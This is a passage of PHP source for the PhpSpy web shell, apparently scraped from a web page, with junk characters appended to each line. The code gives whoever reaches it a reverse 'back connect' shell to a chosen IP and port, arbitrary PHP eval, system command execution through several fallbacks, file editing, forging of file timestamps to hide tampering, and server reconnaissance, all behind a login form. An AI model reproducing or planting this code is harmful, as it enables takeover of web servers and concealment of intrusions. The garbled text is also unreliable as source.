- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
5 a6 ~# K6 j$ x k1 e- d - @unlink('/tmp/angel_bc.c');
" @% Y' p6 d: w" P( w - $res = execute("/tmp/angel_bc $yourip $yourport &");
' W( g. r) W, }& t5 A' u - }; e' b' x! [1 I- v
- m("Now script try connect to $yourip port $yourport ...");9 [0 _% w; @8 [/ x
- }' E# N# @- J; H
- formhead(array('title'=>'Back Connect'));0 F% e7 n6 r+ |. C: y4 Q5 N
- makehide('action','backconnect');2 X" ^7 W# G5 [
- p('<p>');
' b8 U$ S1 \2 t* H - p('Your IP:');7 m* D* Y @$ W( Y# M1 e! o Q
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
- b/ _* R4 o% h4 l+ N - p('Your Port:');
! `/ X) Z4 i; s R% }3 g6 W - makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
& O& {) h, x# A9 o - p('Use:');0 @. M- X1 X+ \, _$ U, I9 Q* X5 \! c
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));$ o% Q' Q) h' r( z( w- h4 V
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));- W, @/ Y( w9 _' ?
- p('</p>');6 x3 |5 b5 k; }: h
- formfoot();
0 c O) ^! O* G; s4 K1 | N m - }//end sql backup r# I+ o* D$ S2 Z
- elseif ($action == 'eval') { b' ^2 w0 @* a0 ^! R: `7 G4 Y( Z
- $phpcode = trim($phpcode);
' o" x& Y: d& T - if($phpcode){& Z# W( L. o: E% L. h8 T' z5 I; Q
- if (!preg_match('#<\?#si', $phpcode)) {
3 h) O) h2 l) |/ |9 S - $phpcode = "<?php\n\n{$phpcode}\n\n?>";) n4 D: ~! [* r
- }. V [7 D9 \5 i2 x
- eval("?".">$phpcode<?");$ I8 N; d* F1 z3 h& [
- }6 W3 L' \2 G. s
- formhead(array('title'=>'Eval PHP Code'));
( @) g1 f; W Y# j9 t - makehide('action','eval');) \6 m1 t" `: q0 o; q
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
+ o* M! G3 P6 q+ Q( l. I7 _ - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1 v/ \ ^, ^& |' [& A( J - formfooter();; L% ^4 x# Z5 U r
- }//end eval! j7 m* _" q1 a8 S- h
- , g: i+ h8 h6 ]) X. u2 N
- elseif ($action == 'editfile') {: ~% a" c; _/ ]" J2 ~! Z
- if(file_exists($opfile)) {6 \& S/ W/ o* |/ K9 g! [" g: N% n5 R C
- $fp=@fopen($opfile,'r');
. a: R* U2 B% R( d* _ - $contents=@fread($fp, filesize($opfile));
( e: f7 O1 B* j; Z - @fclose($fp);
) L3 p6 z- R% f% a( z - $contents=htmlspecialchars($contents);1 F) N s3 @. m
- }
# M7 r8 x$ ?* X( S ]: |) y - formhead(array('title'=>'Create / Edit File')); ^6 J! x7 i0 i [$ ^8 R7 r/ \7 Y2 _
- makehide('action','file');. x2 }3 \; h1 d- C( q
- makehide('dir',$nowpath);
7 O& u2 W" B3 a E - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));( @ Z X; B- W: F# f" x
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));5 i' v3 G' _$ M
- formfooter();1 p. a3 u/ v: s, ^
- }//end editfile% {; a- o0 b b7 m3 c$ m: Q% H
- & j4 o1 D8 t3 F! u
- elseif ($action == 'newtime') {& Z0 I' V& t8 P. [! j. a
- $opfilemtime = @filemtime($opfile);
4 ~2 t3 Z' @4 y" g" k! Q8 e( f - //$time = strtotime("$year-$month-$day $hour:$minute:$second");3 N+ L( J( s/ V Z
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
- B% _$ {* X) u4 d# S9 E1 I - formhead(array('title'=>'Clone file was last modified time'));
' v5 V% n Y9 d: @5 o: k! @ - makehide('action','file');
/ y4 t3 B& m9 N, }1 A3 q - makehide('dir',$nowpath);
* ?: _% A- \ ]; x1 [ - makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));. x0 E2 S: L/ C/ \# B
- makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));% p$ I2 q* F" C' T
- formfooter();/ s( R/ R, {' z7 X; S) T' v
- formhead(array('title'=>'Set last modified'));5 m+ K( M U6 B0 @& S: U3 F
- makehide('action','file');, s# v2 K7 Q0 I1 u+ c0 Y
- makehide('dir',$nowpath);
7 L& p4 f: i- q4 o5 ^ - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ j, F5 _& z! i# k" H
- p('<p>Instead »');
: C9 {$ d f. a. ^' J- {. _ - p('year:');
2 P+ S+ n8 _! }) d - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
6 H3 A2 Q) \$ @* x" g3 Y - p('month:');
2 f: i- t& ]; [& D' E9 _2 `6 I4 U - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
# y7 y" m. \: U5 P+ V - p('day:');
5 l7 a, X. Q0 ` H! U4 | - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
{/ ]& a0 G, C9 t9 w3 f - p('hour:');8 N9 i7 i+ y T3 f3 f
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
3 M! R) E9 N: K! U2 j, l - p('minute:');
% Q$ G+ t7 o) ^" I- a F1 [ - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
: K. P, D: v; a! b8 P. e - p('second:');
$ D, E) w. f- j( U& f# Q - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));2 i; Z% W v2 U5 k
- p('</p>');; r6 h v, }6 E B3 C
- formfooter();
. H1 t8 o6 I1 Y - }//end newtime7 w, S6 e3 `' W! ?+ k
- & q3 |3 U p1 L- U: h, X
- elseif ($action == 'shell') {7 W: `1 w# p" i. F' ~7 |
- if (IS_WIN && IS_COM) {
3 x) }. w! E9 Y* w# r# Q, _ - if($program && $parameter) {+ H1 K( U& ]1 N1 V+ j6 l
- $shell= new COM('Shell.Application');
8 Q3 h1 W$ y9 g1 T# S$ `, \ - $a = $shell->ShellExecute($program,$parameter);
% s; i8 L% O) H6 [6 }3 i8 [0 | - m('Program run has '.(!$a ? 'success' : 'fail'));
) C5 M: B2 h/ J/ s% R - }
, _& ~7 \: R) R" m+ ]; R - !$program && $program = 'c:\windows\system32\cmd.exe';
$ b+ n+ {% Q+ I. B# C& S - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';1 }, l+ K6 R* @% ^& o4 ^& @5 Z
- formhead(array('title'=>'Execute Program'));
R+ M' v& J. {# L2 j8 x6 z - makehide('action','shell');. w9 v5 I1 Z% W: t& R, x8 B7 B
- makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); m/ v R U: E7 d, _
- p('<p>');. o( q$ ~6 M/ a: Z
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
7 P/ S, D" F4 v. Q# h. J - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); f( a; k: I* g+ S. f
- p('</p>');: P( s5 n5 F6 r( l& @
- formfoot();
: t6 t% X O) W8 ~' s# H& l - }
1 i2 R) d1 B5 \4 _+ f o0 h8 D1 d - formhead(array('title'=>'Execute Command'));
2 I; W& H5 B$ `' H0 I( ] - makehide('action','shell');
( P- c0 a( a% z$ y9 U2 m& V - if (IS_WIN && IS_COM) {
( n1 S3 n: g0 x4 t, t - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
7 Q# d- ^" l& h t+ I1 ?! ~ - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
`& I+ Y( ~3 ]: F - }
* V, U: x9 G; \' n8 f4 I - p('<p>');
9 B$ i, R. V! [5 Y9 m/ `6 x$ v - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
3 }* N' ^1 m8 }$ ]6 A7 n/ b - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));. B! C( T) |: h* ?& u
- p('</p>');
' m; K4 r# l1 O6 R9 k - formfoot();
9 P: U: e/ t" g5 J1 [: T -
8 H0 v+ i! w$ }' B, H3 T5 ] - if ($command) {
4 R# V: ~' G- S4 S) g. R8 C - p('<hr width="100%" noshade /><pre>');
( X6 }! C" i" K5 K; E - if ($execfunc=='wscript' && IS_WIN && IS_COM) {$ q/ n% P5 }4 O" b
- $wsh = new COM('WScript.shell');
. t4 B: Y5 }. `& ~! P% Y - $exec = $wsh->exec('cmd.exe /c '.$command);
+ c) @: p! l. y+ {" W - $stdout = $exec->StdOut();
: [( u% o) M, v `; N. P* p R - $stroutput = $stdout->ReadAll();; h) n8 G! w3 ~1 C% s, X& X* h v, @5 K
- echo $stroutput;
6 L n: y0 f4 u" x6 j6 x0 o - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
9 A9 K1 p9 l& T( d8 S' M Q - $descriptorspec = array(
3 A o, U- c8 m - 0 => array('pipe', 'r'),
/ o# f8 B6 D6 |; n) l6 Y) J* l, U - 1 => array('pipe', 'w'),
4 K S) p; S7 G( F: [6 I - 2 => array('pipe', 'w')
# F; ~7 O: \2 ^0 U% x2 H - );0 U, o, n$ c& F5 L) I4 ?
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
7 P( r6 l% ?% f - if (is_resource($process)) {
- y! j5 s8 B, \: Y$ E: e3 A - fwrite($pipes[0], $command."\r\n");
$ K$ W. V d) C* I# B! e( M' u - fwrite($pipes[0], "exit\r\n");/ h2 i, F7 v/ b4 i* i! O6 t! v
- fclose($pipes[0]);, u/ D9 n7 ^5 ?. s
- while (!feof($pipes[1])) {, ?- h; E0 `- T7 w0 H( N. V& U) C
- echo fgets($pipes[1], 1024);
0 N$ J( M5 d, s3 T - }
% S8 ]: a" T5 {6 _: u q4 G - fclose($pipes[1]);' E H$ I2 L* r
- while (!feof($pipes[2])) {
. W, u! F q5 @+ j6 ?5 K - echo fgets($pipes[2], 1024);
/ r- \+ r" Y- d: A2 r6 F - }7 s8 B/ e; Z" D# P! Y1 W
- fclose($pipes[2]);9 M* n% j: i* m3 l$ j7 c
- proc_close($process);
1 k/ t. g: l; [! u% R' I - }. n' A |6 v. O3 q5 y
- } else {% @' Z- R$ I9 `9 Z! x
- echo(execute($command));
7 a% x& h1 |7 Z' @9 Y& B - }
2 k$ [) d: k V/ r, Z" M - p('</pre>');/ Y. B2 k, W6 z6 N" c
- }
' r3 A# F2 J' ^' ] [4 Z, `7 f - }//end shell
0 V# o( k6 z6 v2 Y( [& C3 ^, ~4 V -
" ?) p4 u. n, D: j - elseif ($action == 'phpenv') {( K% _0 K0 _. l7 y+ |
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';% ]1 T5 o) z q
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
# h4 J: Q6 H$ Q4 B* u4 s3 F. d - !$dis_func && $dis_func = 'No';
; e- g% n% a4 R - $info = array(3 }+ }. h) U3 l$ D8 z, a
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
* h: T8 O# f7 i" H7 d- ? - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
6 q- s7 M# A8 u - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
; u1 S( c, }% y; \ - 4 => array('Server OS',PHP_OS),, f! ]- @6 T* p; R. j* Z# C
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
& G9 ?3 A7 u- e0 m - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),7 l: k, Z6 T+ o% I- r( @$ `
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),) ~3 q9 x3 t+ M7 Z1 X
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),
' m; U% q7 F1 ` - 9 => array('The file path',__FILE__),
! o1 X0 E4 r+ N1 o4 E& c -
# w8 [! J8 o5 ]* A - 10 => array('PHP Version',PHP_VERSION),
; O+ B0 @4 }, ?8 m - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),- l2 @3 e! g4 I
- 12 => array('Safe Mode',getcfg('safe_mode')),
; E. M v+ D9 l - 13 => array('Administrator',$adminmail),- w& K, B; d+ n: U& W
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," {. a' @3 W! _' K) i# S
- 15 => array('enable_dl',getcfg('enable_dl')),
, y) w4 E# ]- p. e- t - 16 => array('display_errors',getcfg('display_errors')),. u9 N9 q+ c. Y$ d5 Q; q4 `' B
- 17 => array('register_globals',getcfg('register_globals')),7 b' D% p9 B9 i& `. A5 @8 v: R
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),+ V) g8 ~$ F2 \2 ]
- 19 => array('memory_limit',getcfg('memory_limit')), ?. k+ d# n3 G" a/ x$ s
- 20 => array('post_max_size',getcfg('post_max_size')),
8 ]2 ~7 X% p) j. @8 { - 21 => array('upload_max_filesize',$upsize),; X5 G6 D! g4 p* `0 F
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
( Z+ B6 \% H$ U( X% E$ u) c - 23 => array('disable_functions',$dis_func),5 u0 f0 i0 {# @& q1 o
- );, ^6 C1 L' p- \$ I; p; {2 Q- E' ]
-
9 {0 u2 k( B8 U* _* p) _ - if($phpvarname) {' @1 ^8 ?" \ b) E" K, b! y
- m($phpvarname .' : '.getcfg($phpvarname));1 ^, L; O" L: @% U) t( t% |. ?3 n
- }7 {+ y, s5 b8 }* O: y9 U( q
- ' R" z; M# G( L
- formhead(array('title'=>'Server environment'));1 c1 b" L/ I' u# }8 n/ H
- makehide('action','phpenv');
: u1 h( F8 {" O* O# @! k - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));, Z+ ^4 J. k. o4 k. V
- formfooter();
4 u/ J' d7 Z. {8 @- {( o1 e% Y -
, X% w+ m J# e' A - $hp = array(0=> 'Server', 1=> 'PHP');4 Q- e# d9 F# X2 \
- for($a=0;$a<2;$a++) {
4 g" |/ A& w/ I( S. b' e" E - p('<h2>'.$hp[$a].' »</h2>');
- @% t- F# q5 Z' `" A+ V/ P9 W - p('<ul class="info">');
, X% K4 F. o$ ?2 U0 g0 D& T$ f - if ($a==0) {3 P; y, h# m& j( C6 m! c
- for($i=1;$i<=9;$i++) {
& o8 Y4 k, p1 w, ] - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');6 k) u5 m- z; [7 U/ y- V7 O
- }
, V* `& R3 _& g$ W - } elseif ($a == 1) {2 U% g1 l8 p: I
- for($i=10;$i<=23;$i++) {- P5 \, F- I0 \2 l1 R5 A
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
' p# i. l7 C+ E; G/ Y2 U - }
: W8 w+ B* |! u* m% o) l - }
; N8 j& V, T2 T; v. d7 L" Y0 V - p('</ul>');
, J/ f% i; A9 g - }
# G; m8 Y" U% i* H; b - }//end phpenv
+ H5 K& `$ P- ]. m4 z$ @ -
- ~; T7 k ~- e$ M - else {
5 F3 i& C: Q1 o - m('Undefined Action');% D, Y0 ]+ q: c3 L! I
- }# ~/ Y g/ K" H5 f: q$ I
- * h4 f( O; e8 `8 j+ H5 j1 }
- ?>; O' X4 D6 h( b0 |; U) q0 G4 `
- </td></tr></table>9 t8 J1 u" c5 d+ y( n% X$ _
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
; y/ j1 I L% } - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
* V: B2 m4 R. c0 Y, x- I& u9 m - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.3 X0 w$ j$ D. S V% U
- </div>
. j9 }, C, v4 T5 D7 i( c - </body>& c. x2 w m e
- </html>8 H9 I% {/ ]4 @* Z) k( x3 R0 o
-
: G7 @" o1 P u* ^" E1 n: H: B/ L - <?php# w2 P5 a2 D- ^
- , W5 W3 a' m( O/ ?$ z
- /*======================================================/ z4 L4 k: Y; O( p! r
- 函数库: E, j# x3 F4 J0 b* K1 g @9 a
- ======================================================*/
w7 @) h$ i8 h& Q -
7 w% M3 G* d' e) d$ O" ?& X - function m($msg) {/ [+ P$ K; i7 Z/ l- ^! I7 o# f
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';7 f+ {# t# J$ C9 C1 I9 e1 x0 `; ^
- echo $msg;
, M) x& p5 P/ N5 x. ]8 s5 U - echo '</div>';' k }1 k3 p) o; G- q! w6 B# X. z3 X
- } X' P4 h8 ?( e4 i
- function scookie($key, $value, $life = 0, $prefix = 1) {
; Z' C) r- A7 l$ l% o - global $admin, $timestamp, $_SERVER;% f7 P$ k# t, r4 J7 N0 s2 g
- $key = ($prefix ? $admin['cookiepre'] : '').$key;# R* s& v& V: a' [4 ?4 P# ^
- $life = $life ? $life : $admin['cookielife'];
3 ]& ?7 M; l' F' c2 j - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;% P4 S; L& r' r u8 N6 o, r5 ?4 _
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);1 Z/ |/ y7 ~+ l8 ~. B
- } 7 c8 v; D7 m2 L( }
- function multi($num, $perpage, $curpage, $tablename) {! a4 B' i* ?* a
- $multipage = '';
, J' l, ` t9 N! S( ~ e - if($num > $perpage) {
/ ~) A8 t- V( P9 v! ^4 ~ - $page = 10;0 d% T' U$ E- B2 _" r. P' M: m2 y
- $offset = 5;' v3 h9 V! n- H: Q( Q, t& y' f
- $pages = @ceil($num / $perpage);
" R' F$ @0 [" e* w) R - if($page > $pages) {
3 G7 C8 J* ]0 o6 S* N* d% t5 N - $from = 1;
8 L5 ~( P7 l+ ~2 H" X) i& j$ K' Z; [! M- K - $to = $pages; }* Q" G7 E8 {4 J5 \2 L
- } else {7 l9 R& z, h/ B O( G M
- $from = $curpage - $offset;3 e% @3 ^/ G& R7 ^# m- ~
- $to = $curpage + $page - $offset - 1;
" h$ u& D- {! J6 w& \$ b - if($from < 1) {
4 I m1 m9 h- T" `$ Q$ H: [1 ]* N3 r - $to = $curpage + 1 - $from;
1 w% @/ \$ y6 s! d2 H8 ]! r - $from = 1;
% G% D: K: \1 ]2 x( { - if(($to - $from) < $page && ($to - $from) < $pages) {9 X# F9 b3 j" b: ~7 I4 y, T
- $to = $page;" Z0 _& a0 i; s6 z% d; i/ ?
- }# p1 M3 N0 @4 e
- } elseif($to > $pages) {
% @5 A# L: h- H8 V( \" N8 y - $from = $curpage - $pages + $to;
. K r! H* S' f, V# N) e - $to = $pages;0 [$ p( L1 u" k& q5 T- }
- if(($to - $from) < $page && ($to - $from) < $pages) {% @4 w/ H1 Q8 o
- $from = $pages - $page + 1;7 W% C% C1 [2 [/ d7 S) V4 H
- }
% n7 `$ [& m! H4 f- Y$ B$ y - }
+ }' ?: V7 Z# c( D. |8 d+ d( ^2 m - }) _8 ~1 W( a( \& ~5 L; ~& i
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
+ ^7 x4 a& x- L8 _* \ - for($i = $from; $i <= $to; $i++) {) p0 B- j' W, ~& ~
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';/ V& |. B' P+ n" J$ [
- }
, L+ b' X' T* o0 I- t# v - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');; B/ w0 I4 n3 m% J6 X
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';* k7 I; {* b) w; S* b$ W1 k
- }( f! z v1 N, H; J4 ?+ m
- return $multipage;
1 x. d' @$ u6 _2 e. o1 f - }
3 F4 ~3 N, {/ Y% H: \% @ - // 登陆入口
# Z' a+ Z6 }$ @) g3 F9 f# _9 J" C - function loginpage() {- h; Q' Y2 U' Z. K+ S6 r# O
- ?>* M" h( O3 a$ ~1 w; Y4 B$ w
- <style type="text/css">
+ P6 A( S& H2 m0 V - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
z7 p T3 ^6 f - </style>* Y8 O+ r6 Y, T2 Q* X0 A) C& L( j
- <form method="POST" action="">
0 u6 t9 m. U2 M - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">5 R6 |, s. g8 q* n) l8 j/ Q
- <input type="hidden" name="doing" value="login">
1 C+ y r6 @/ q$ M+ D! [ - <input type="submit" value="Login">
+ L+ y) c, f1 v3 q - </form>- n4 @: o' p1 `, f5 S9 i
- <?php
1 p+ |$ K6 L3 t a' d - exit;! A+ S3 U3 \. S3 Z6 Z
- }//end loginpage()8 B; ~2 _% x+ N* G, G, a# T
- 8 t- r, J( v. y R8 ]
- function execute($cfe) {8 t M( f; k) `& s
- $res = '';
) J9 M b4 e7 Z. T w7 B - if ($cfe) {" z R- r8 [" O* h" M* }
- if(function_exists('exec')) {; T+ P" n" y% k" q( V) t, `' {
- @exec($cfe,$res);7 d3 j( ]/ i m: O
- $res = join("\n",$res);
) e/ f/ a3 `" V. C) z - } elseif(function_exists('shell_exec')) {
e. j1 y3 w4 `% c% h' Z7 q! P - $res = @shell_exec($cfe);
% Z6 X8 z& T* T) V6 E3 i - } elseif(function_exists('system')) {; }6 T8 k& S% N# q' T' ]. |
- @ob_start();* z4 V8 F1 l- R
- @system($cfe);
) Z! e2 Q" D* o; M. K9 f - $res = @ob_get_contents();
7 b3 ]3 D$ `: L$ \& f' n: w& h - @ob_end_clean();
m, b0 ?4 E: Y4 F% v7 ~ - } elseif(function_exists('passthru')) {
7 \4 f+ H2 [% ~, r) e+ ?" s - @ob_start();
! [2 k/ K9 Y( o4 h - @passthru($cfe);
2 {+ t4 {. P( ?* S& [# W - $res = @ob_get_contents();
9 N3 y7 {8 d" E& J' Z4 s6 O - @ob_end_clean();9 q6 n5 x% \2 e$ K. g# l8 F
- } elseif(@is_resource($f = @popen($cfe,"r"))) {" X" g$ O' N& H- a2 a r. q& m7 \* G
- $res = '';, {5 y* ^( N+ e, a& i7 Q
- while(!@feof($f)) {# \% @( y9 G: Y# H' ], A
- $res .= @fread($f,1024);
% A0 q1 V4 Z" f1 u! v$ o9 P3 g - }9 ]# |% B! |9 s @9 Q
- @pclose($f);, O$ y/ y1 k! p, L) _3 w
- }, z( a0 R$ H( U: }; y& P
- }6 T8 J h0 g* m3 {; `9 Y
- return $res;
! `2 k: X- Z9 X+ u1 Z - }! c6 ]4 z0 I* p0 f) S( G' |8 T
- function which($pr) {
5 \0 e7 L. N" ~& Q - $path = execute("which $pr");1 W9 l9 Q3 O% t5 `6 g" ]% d
- return ($path ? $path : $pr);
8 ?4 T+ U/ Z8 U+ d# P7 ?. Y: c - }
. H% r+ e/ Q+ \* o+ y# [ -
2 b P& W M) a8 _" k& K - function cf($fname,$text){! D3 j' y, e, E8 L" n6 {6 v
- if($fp=@fopen($fname,'w')) {
7 G/ P3 C; ` w: z1 J# f% z3 }8 t - @fputs($fp,@base64_decode($text));0 b! [2 @2 M, v8 l' r7 n S
- @fclose($fp);9 b5 O+ d* V% F) v2 T: H& [2 q
- }
. y* H# p W' i1 C( ~ - }" W; v% N* Y+ Y: D8 H; W
-
3 m: }3 C& N, f8 h3 v - // 页面调试信息
5 o& ^) n( j) L - function debuginfo() {
y6 O A$ \2 }0 d8 t2 f' } - global $starttime;
; x. C* C8 j3 f9 m+ w7 ~. { - $mtime = explode(' ', microtime());
7 E A3 q; B+ w0 C( ` - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
" M: n. l. k R2 L x - echo 'Processed in '.$totaltime.' second(s)';! ~- d; A8 Y* P6 f* o0 U
- }
5 L6 z+ T# v& Y! I; \. V* @) B# Y -
3 V3 Z' R3 ~8 ?9 l - //连接数据库- ]: @* \! C n& b3 ^ _, u" C
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {/ ^" N3 R( R$ ~4 W9 M( T
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {: ^2 L) ]$ d2 Y- ?3 w
- p('<h2>Can not connect to MySQL server</h2>');# o# ~9 Y7 K8 m2 I8 s1 _4 a0 V
- exit;$ z( T: }8 E: H; |, o) q
- }
7 t: S2 R" J! L; s - if($link && $dbname) {
" N4 T0 y7 c0 w: S8 q+ l - if (!@mysql_select_db($dbname, $link)) {. c7 j, \' D0 ~7 `6 y# g: P
- p('<h2>Database selected has error</h2>');
4 q, Z# K+ q# z8 u4 l7 E9 k* d1 ? - exit;
/ w6 d5 q* W: _, h" x: P+ {! U - }2 c9 x4 R& y6 c& y/ q Y7 h
- }
) F u' e# p! v3 t8 a6 M7 R - if($link && mysql_get_server_info() > '4.1') {
# h0 _; x# O B+ h4 B% a* ?) y9 W4 P - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {! R$ d9 U4 }7 f" o1 e2 K* S, z2 W- |
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2 `) U; Z( W$ Z& l# \$ q% M* C - }2 e! q* Z) V* r& x% l5 ~
- }$ Y% x; R4 l; k; E
- return $link;
; o( l/ k1 T. B7 O" `- N - }' d0 v4 b7 s" {/ E
- ; z0 N. N4 R- o5 h5 W) L/ M
- // 去掉转义字符
( {% t" V5 {3 u5 a" M3 G& e - function s_array(&$array) {
; ~$ ~8 X; ]5 P - if (is_array($array)) {6 E* j7 s8 t% j* b! u( W6 m
- foreach ($array as $k => $v) {. Y" Z1 [' b3 B- ~% \' T$ o
- $array[$k] = s_array($v);
9 S+ K$ n4 n. S - }+ V& f4 f2 I& s) X3 b
- } else if (is_string($array)) {
( C$ Y! g. y a3 C4 `+ [- P2 ] - $array = stripslashes($array);) ?4 ]5 e6 C: r9 N& M9 C
- }
% ^- t1 S }! v - return $array;9 E8 ]/ |, W, N
- }) h, {8 ?/ N- R9 j
-
/ n6 }6 E# X# F4 ]: x. a3 j - // 清除HTML代码
}: w( k2 B; G7 A+ G$ V% h$ Q - function html_clean($content) {
. c& C/ D4 L$ Z" d- P - $content = htmlspecialchars($content);
! ^6 C8 L+ l& x6 L' N - $content = str_replace("\n", "<br />", $content);
4 d+ O& A8 N$ V/ F - $content = str_replace(" ", " ", $content);
{" o. E3 m( D+ U7 E4 A0 [5 Y' X - $content = str_replace("\t", " ", $content);
" T( |4 o+ d, T' t - return $content;& ]- H- W2 { y/ c4 d3 Y& O
- }
# ~' b0 F& v$ S' i4 q -
$ W A" T& c& V - // 获取权限) a, N0 Y+ M5 n
- function getChmod($filepath){
9 a& R- Z# C$ n: Q, ? \ - return substr(base_convert(@fileperms($filepath),10,8),-4);. o! a9 q; z, ]( R6 {, _! G( r0 B
- }
2 p3 K( ~# L2 D) M8 l- h* D -
" ^4 m5 ^% z% q6 q - function getPerms($filepath) {; ~0 M' K+ L" ^' U9 S% u, I7 H
- $mode = @fileperms($filepath);5 l5 _# I3 F+ @! o
- if (($mode & 0xC000) === 0xC000) {$type = 's';}
% T: v; b: m0 }! P - elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
/ A% g# h' H: t+ X$ x - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}) o' d6 m* N9 o4 m0 l, `# E
- elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
# C2 ^8 d. k% U8 k3 d, d4 [- l6 | - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
7 q0 F' [: u6 n/ ^1 r' U8 ~ - elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
6 }* w2 W' I2 c+ w/ M8 I% {7 s - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
7 @: i1 i* f& L, H% O/ Z* f) | - else {$type = '?';}9 k% ?0 J) f6 }/ ~5 A1 ]3 l
-
5 p* _5 Q1 \) w: j - $owner['read'] = ($mode & 00400) ? 'r' : '-'; # T( f0 |2 [5 v! J' P" ^" R5 g
- $owner['write'] = ($mode & 00200) ? 'w' : '-'; 7 ^, y9 P1 j* G: {0 Z Z# @
- $owner['execute'] = ($mode & 00100) ? 'x' : '-'; : `' F& _1 [* n
- $group['read'] = ($mode & 00040) ? 'r' : '-'; ! l: @8 u# T7 i4 P
- $group['write'] = ($mode & 00020) ? 'w' : '-'; * N2 |+ j' `5 Y+ Q6 m
- $group['execute'] = ($mode & 00010) ? 'x' : '-'; 6 D! r9 q/ e/ H4 [; f
- $world['read'] = ($mode & 00004) ? 'r' : '-';
8 {& H9 Y( k5 I% V- c1 J, E* S - $world['write'] = ($mode & 00002) ? 'w' : '-';
